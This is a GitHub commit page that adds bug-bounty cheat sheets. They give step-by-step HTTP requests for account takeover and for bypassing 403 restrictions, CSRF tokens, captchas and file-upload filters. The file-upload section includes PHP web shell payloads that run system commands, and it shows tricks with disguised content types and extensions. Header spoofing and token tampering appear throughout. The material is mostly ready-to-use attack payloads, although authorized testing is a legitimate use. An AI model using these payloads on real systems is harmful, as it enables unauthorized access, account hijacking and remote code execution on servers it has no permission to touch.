Skip to content

Commit f0de94d

Browse files
author
BaCde
committed
增加AllAboutBugBounty项目的文档
1 parent 31a04a2 commit f0de94d

16 files changed

+1128
-0
lines changed

‎BugBounty/AllAboutBugBounty/Account Takeover.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
## Account Takeover
2+
3+
1. Using OAuth Misconfiguration
4+
- Victim has a account in evil.com
5+
- Attacker creates an account on evil.com using OAuth. For example the attacker have a facebook with a registered victim email
6+
- Attacker changed his/her email to victim email.
7+
- When the victim try to create an account on evil.com, it says the email already exists.
8+
9+
2. Try re-sign up using same email
10+
```
11+
POST /newaccount
12+
[...]
13+
[email protected]&password=1234
14+
```
15+
After sign up using victim email, try signup again but using different password
16+
```
17+
POST /newaccount
18+
[...]
19+
[email protected]&password=hacked
20+
```

‎BugBounty/AllAboutBugBounty/Bypass 403.md

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
# 403 Forbidden Bypass
2+
3+
1. Using "X-Original-URL" header
4+
```
5+
GET /admin HTTP/1.1
6+
Host: target.com
7+
```
8+
Try this to bypass
9+
```
10+
GET /anything HTTP/1.1
11+
Host: target.com
12+
X-Original-URL: /admin
13+
```
14+
15+
2. Appending **%2e** after the first slash
16+
```
17+
http://target.com/admin => 403
18+
```
19+
Try this to bypass
20+
```
21+
http://target.com/%2e/admin => 200
22+
```
23+
24+
3. Try add dot (.) and slash (/) in the URL
25+
```
26+
http://target.com/admin => 403
27+
```
28+
Try this to bypass
29+
```
30+
http://target.com/admin/. => 200
31+
http://target.com//admin// => 200
32+
http://target.com/./admin/./ => 200
33+
```
34+
35+
4. Add "..;/" after the directory name
36+
```
37+
http://target.com/admin
38+
```
39+
Try this to bypass
40+
```
41+
http://target.com/admin..;/
42+
```
43+
44+
45+
5. Try to uppercase the alphabet in the url
46+
```
47+
http://target.com/admin
48+
```
49+
Try this to bypass
50+
```
51+
http://target.com/aDmIN
52+
```
53+
54+
Source: [@iam_j0ker](https://twitter.com/iam_j0ker)

‎BugBounty/AllAboutBugBounty/Bypass CSRF.md

Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
# Bypass CSRF Token
2+
1. Change single character
3+
```
4+
POST /register HTTP/1.1
5+
Host: target.com
6+
[...]
7+
8+
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
9+
```
10+
Try this to bypass
11+
```
12+
POST /register HTTP/1.1
13+
Host: target.com
14+
[...]
15+
16+
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
17+
```
18+
19+
2. Sending empty value of token
20+
```
21+
POST /register HTTP/1.1
22+
Host: target.com
23+
[...]
24+
25+
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
26+
```
27+
Try this to bypass
28+
```
29+
POST /register HTTP/1.1
30+
Host: target.com
31+
[...]
32+
33+
username=dapos&password=123456&token=
34+
```
35+
36+
3. Replace the token with same length
37+
```
38+
POST /register HTTP/1.1
39+
Host: target.com
40+
[...]
41+
42+
username=dapos&password=123456&token=aaaaaa
43+
```
44+
Try this to bypass
45+
```
46+
POST /register HTTP/1.1
47+
Host: target.com
48+
[...]
49+
50+
username=dapos&password=123456&token=aaabaa
51+
```
52+
4. Changing POST / GET method
53+
```
54+
POST /register HTTP/1.1
55+
Host: target.com
56+
[...]
57+
58+
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
59+
```
60+
Try this to bypass
61+
```
62+
GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
63+
Host: target.com
64+
[...]
65+
```
66+
67+
5. Remove the token from request
68+
```
69+
POST /register HTTP/1.1
70+
Host: target.com
71+
[...]
72+
73+
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
74+
```
75+
Try this to bypass
76+
```
77+
POST /register HTTP/1.1
78+
Host: target.com
79+
[...]
80+
81+
username=dapos&password=123456
82+
```
83+
84+
6. Use another user's valid token
85+
```
86+
POST /register HTTP/1.1
87+
Host: target.com
88+
[...]
89+
90+
username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
91+
```
92+
93+
7. Try to decrypt hash
94+
```
95+
POST /register HTTP/1.1
96+
Host: target.com
97+
[...]
98+
99+
username=dapos&password=123456&token=MTIzNDU2
100+
```
101+
MTIzNDU2 => 123456 with base64
102+
103+
8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
104+
```
105+
POST /register HTTP/1.1
106+
Host: target.com
107+
[...]
108+
109+
username=dapos&password=123456&token=vi802jg9f8akd9j123
110+
```
111+
When we register again, the request like this
112+
```
113+
POST /register HTTP/1.1
114+
Host: target.com
115+
[...]
116+
117+
username=dapos&password=123456&token=vi802jg9f8akd9j124
118+
```
119+
If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part

‎BugBounty/AllAboutBugBounty/Bypass Captcha.md

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
# Bypass Captcha
2+
1. Try changing the request method, for example POST to GET
3+
```
4+
POST / HTTP 1.1
5+
Host: target.com
6+
[...]
7+
8+
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
9+
```
10+
11+
Change the method to GET
12+
```
13+
GET /?_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 HTTP 1.1
14+
Host: target.com
15+
[...]
16+
```
17+
18+
2. Try remove the value of the captcha parameter
19+
```
20+
POST / HTTP 1.1
21+
Host: target.com
22+
[...]
23+
24+
_RequestVerificationToken=&_Username=daffa&_Password=test123
25+
```
26+
27+
3. Try reuse old captcha token
28+
```
29+
POST / HTTP 1.1
30+
Host: target.com
31+
[...]
32+
33+
_RequestVerificationToken=OLD_CAPTCHA_TOKEN&_Username=daffa&_Password=test123
34+
```
35+
36+
4. Convert JSON data to normal request parameter
37+
```
38+
POST / HTTP 1.1
39+
Host: target.com
40+
[...]
41+
42+
{"_RequestVerificationToken":"xxxxxxxxxxxxxx","_Username":"daffa","_Password":"test123"}
43+
```
44+
Convert to normal request
45+
```
46+
POST / HTTP 1.1
47+
Host: target.com
48+
[...]
49+
50+
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
51+
```
52+
53+
5. Try custom header to bypass captcha
54+
```
55+
X-Originating-IP: 127.0.0.1
56+
X-Forwarded-For: 127.0.0.1
57+
X-Remote-IP: 127.0.0.1
58+
X-Remote-Addr: 127.0.0.1
59+
```

‎BugBounty/AllAboutBugBounty/Bypass File Upload.md

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
# Bypass File Upload
2+
1. Change the ContentType
3+
```
4+
POST /images/upload/ HTTP/1.1
5+
Host: target.com
6+
[...]
7+
8+
---------------------------829348923824
9+
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
10+
Content-Type: application/x-php
11+
```
12+
Change the Content-Type
13+
```
14+
POST /images/upload/ HTTP/1.1
15+
Host: target.com
16+
[...]
17+
18+
---------------------------829348923824
19+
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
20+
Content-Type: image/jpeg
21+
```
22+
23+
2. Try to change the extension when send the request, for example in here you cant upload file with ext php but you can upload jpg file
24+
```
25+
POST /images/upload/ HTTP/1.1
26+
Host: target.com
27+
[...]
28+
29+
---------------------------829348923824
30+
Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpg"
31+
Content-Type: application/x-php
32+
```
33+
Change the request to this
34+
```
35+
POST /images/upload/ HTTP/1.1
36+
Host: target.com
37+
[...]
38+
39+
---------------------------829348923824
40+
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
41+
Content-Type: application/x-php
42+
```
43+
44+
3. Upload the payload, but start with GIF89a; and
45+
```
46+
POST /images/upload/ HTTP/1.1
47+
Host: target.com
48+
[...]
49+
50+
---------------------------829348923824
51+
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
52+
Content-Type: image/gif
53+
54+
GIF89a; <?php system("id") ?>
55+
```
56+
And dont forget to change the content-type to image/gif
57+
58+
4. Bypass content length validation, it can be bypassed using small payload
59+
```
60+
(<?=`$_GET[x]`?>)
61+
```
62+
63+
5. Using null byte in filename
64+
```
65+
file.php%00.gif
66+
```
67+
68+
6. Using double extensions for the uploaded file
69+
```
70+
file.jpg.php
71+
```
72+
73+
7. Uploading an unpopular php extensions (php4,php5,php6,phtml)
74+
```
75+
file.php5
76+
```
77+
78+
8. Try to randomly capitalizes the file extension
79+
```
80+
file.pHP5
81+
```
82+
83+
9. Mix the tips!

0 commit comments

Comments
 (0)